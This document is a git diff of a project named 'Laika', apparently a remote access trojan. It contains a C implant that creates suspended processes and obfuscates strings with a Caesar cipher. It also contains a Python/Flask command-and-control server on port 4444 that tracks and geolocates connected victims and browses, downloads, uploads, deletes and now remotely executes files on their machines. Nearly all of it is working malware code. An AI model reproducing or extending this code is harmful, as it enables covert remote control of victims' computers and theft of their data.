+    if (wcscmp_(arch, L"x86") == 0)
-        if (hProcess == NULL) {
+        path = path32;
-            continue;
+    else
-        }
+        path = path64;
 
-        // Determine the process architecture
+	BOOL status = Api.CreateProcessW(
-        if (!Api.IsWow64Process(hProcess, &isWow64)) {
+		NULL,     // Application name
-            // Failed to determine the process architecture, so skip to the next process
+		path,     // Command line
-            Api.CloseHandle(hProcess);
+		NULL,     // Process security attributes
-            hProcess = NULL;
+		NULL,     // Primary thread security attributes
-            continue;
+		FALSE,       // Handles are not inherited
-        }
+		CREATE_SUSPENDED, // Creation flags
+		NULL,     // Use parent's environment block
+		NULL,        // Starting directory 
+		&si,         // Pointer to STARTUPINFOW structure
+		&pi          // Pointer to PROCESS_INFORMATION structure
+	);
 
-        // Check if the process matches the provided architecture
+    return pi.hProcess;
-        if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) {
-            if (hProcess != NULL) {
-                Api.CloseHandle(hSnapshot);
-                return hProcess;
-            }
-        }
-    } while (Api.Process32NextW(hSnapshot, &pe32));
-
-    // No matching process found
-    Api.CloseHandle(hSnapshot);
-    return NULL;
 }

Laika/utils.c

@@ -1,18 +1,9 @@
 #include "utils.h"
+#include "libc.h"
+
 const int _fltused = 0; //fuck linker errors, all my homies hate CRT
 extern API Api;
 
-void Message() {
-	if (1 == 3) {
-		int msgboxID = MessageBox(
-			NULL,
-			(LPCWSTR)L"Hello this is a message box",
-			(LPCWSTR)L"Hello !",
-			MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
-		);
-	}
-}
-
 #define KEY 5
 char* CAESAR(char* in) {
 	for (size_t i = 0; i < strlen(in); i++) {
@@ -34,7 +25,7 @@ LPCWSTR ConvertCharToWChar(const char* str)
 {
 	int len = strlen(str) + 1;
 	int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0);
-	LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR));
+	LPWSTR wstr = (LPWSTR)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, wlen * sizeof(WCHAR));
 	Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen);
 	return wstr;
 }

Server/FileExplorer/index.html

@@ -29,7 +29,7 @@
         <thead>
           <tr>
             <th data-sortable="false" data-width="20" data-checkbox="true"></th>
-            <th data-sortable="true">Nom</th>
+            <th data-sortable="false">Nom</th>
             <th data-sortable="false" data-width="150">Modifié le</th>
             <th data-sortable="true" data-width="50">Taille</th>
           </tr>
@@ -131,7 +131,7 @@
 		});
 
 		// Add buttons to the table
-		$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button></div>');
+		$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button><button id="execute-button">Execute</button></div>');
 
         function get_checked_rows() {
 			var checkboxes = document.querySelectorAll('input[type="checkbox"]');
@@ -183,6 +183,10 @@
 		$('#remove-button').on('click', function() {
 		    send_from_button("remove");
         });
+		
+		$('#execute-button').on('click', function() {
+            send_from_button("execute");
+		});
 	});
     </script>
 </body>

Server/Server.py

@@ -12,8 +12,9 @@ import logging
 import urllib.parse
 import select
 import math
+import re
 
-ADRESSE = "192.168.1.35"#socket.gethostname()
+ADRESSE = socket.gethostbyname(socket.gethostname())
 PORT = 4444 
 CONNECT_CLIENTS = [] #liste des sockets ouverts
 THREAD_LIST = [] #tout les threads
@@ -125,7 +126,11 @@ def recv_folder(client, path, addr, i) :
         
         client.send(CAESAR(path + '\\' + f + "\0").encode())
         
-        infos = recv_message_ret(client).decode("latin-1")
+        infos = recv_message_ret(client)
+        try :
+            infos = infos.decode("latin-1")
+        except :
+            pass
         taille = infos.split("/")[0]
 
         if taille != '0' :
@@ -179,12 +184,14 @@ def interact() :
     files = []
     if action != "upload" :
         for f in file_list :
+            if f == None :
+                continue
             files.append(f.split('">')[1].replace("</a>",""))
 
     match action :
         case "download" :
-            print("\n\nTéléchargement...\n\n")
             for i in files :
+                print(f"files:{files} i:{i} FILES_:{FILES_}")
                 path = path_file_ex_2 + i
                 if i in FILES_ :
                     #call download file
@@ -198,10 +205,8 @@ def interact() :
                     recv_folder(client, path, addr, i)
 
                 time.sleep(0.05)
-            print("\n\nTéléchargement terminé.\n\n")
 
         case "upload" :
-            print("\n\nUpload...\n\n")
             filename = easygui.fileopenbox()
 
             if filename == None or path_file_ex_2 == "" :
@@ -216,7 +221,8 @@ def interact() :
 
             fp = open(filename, "rb")
             upload_file(fp, client)
-            print("\n\nUpload terminé.\n\n")
+            
+            time.sleep(0.05)
             
         case "remove" :
             for i in files :
@@ -234,8 +240,20 @@ def interact() :
 
                 time.sleep(0.05)
         
+        case "execute" :
+            for i in files :
+                path = path_file_ex_2 + i
+                if i in FILES_ :
+                    client.send(CAESAR("execute\0").encode())
+
+                    client.send(CAESAR(path + "\0").encode())
+
     return 'ok'
 
+def extract_filename(url):
+    match = re.search(r'<a class="centered">(.+?)</a>', url)
+    return match.group(1) if match else ''
+    
 @app.route('/get_data', methods=['POST'])
 def get_data() :
     global path_file_ex
@@ -281,7 +299,12 @@ def get_data() :
             if client_num != i : continue
 
             client.send(CAESAR("get_drives").encode())
-            drives = recv_message_ret(client).decode("utf-8")
+            drives = recv_message_ret(client)
+            
+            try :
+                drives = drives.decode("utf-8")
+            except :
+                pass
             for d in drives :
                 data.append({"url": f"<a>{d}</a>", "modified": "", "size":""})
             continue
@@ -302,27 +325,38 @@ def get_data() :
             path_file_ex_2 = '/'.join(path_parts)
             client.send(CAESAR(path_file_ex_2 + "\0").encode())
             
+            files = ""
+            try :
                 files = recv_message_ret(client).decode("latin-1")
+            except :
+                files = recv_message_ret(client)
+            if files == "" : return ""
+            aaa = ""
+            try :
+                aaa = files.split("/")
+            except : return ""
+            
             FILES_ = []
-            for f in files.split("/") :
+            for f in aaa:
                 f = CAESAR_DECRYPT(f)
-                #print(path_file_ex + f)
 
                 client.send(CAESAR("get_obj_info").encode())
 
                 client.send(CAESAR(path_file_ex_2 + f + "\0").encode())
                 
+                infos = ""
+                try:
                     infos = recv_message_ret(client).decode("latin-1")
-                taille, modified = infos.split("/")
+                except :
+                    infos = recv_message_ret(client)
                 
-                is_dir = False
+                is_dir = infos == "d"
-                if taille != "N" :
+                modified = ""
-                    taille = convert_size(int(taille))
+                taille = ""
-                    if taille == "0 O" :
+                if not is_dir :
-                        is_dir = True
-                    else :
                     FILES_.append(f)
-                
+                if f[0] == "$" :
+                    f = "." + f[1:]
                 if is_dir :
                     data.append({"url": f"<img src=\"images/folder.png\" alt=\"Folder Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
                                  "modified": f"{modified}", "size": f"{taille}"})
@@ -343,7 +377,7 @@ def ban() :
     print(Fore.RED + "  / /   __ _ (_)| | __ __ _ ")
     print(Fore.RED + " / /   / _` || || |/ // _` |")
     print(Fore.RED + "/ /___| (_| || ||   <| (_| |")
-    print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
+    print(Fore.RED + "\\____/ \\__,_||_||_|\\_\\\\__,_|")
     print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
     print("")
 
@@ -489,7 +523,7 @@ def main() -> None :
                 c = CONNECT_CLIENTS[i]
                 addr = c.getpeername()[0]
                 pays = ""
-                match = geolite2.lookup(addr)
+                match = None#geolite2.lookup(addr)
 
                 if match is not None :
                     pays = match.country
@@ -564,6 +598,9 @@ def main() -> None :
             fp = open(fichier, "rb")
             upload_file(fp, client)
         
+        elif cmd == "" :
+            pass
+            
         else :
             print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
 

Server/requirements.txt

@@ -3,3 +3,4 @@ prettytable
 easygui
 python-geoip-python3
 python-geoip-geolite2
+flask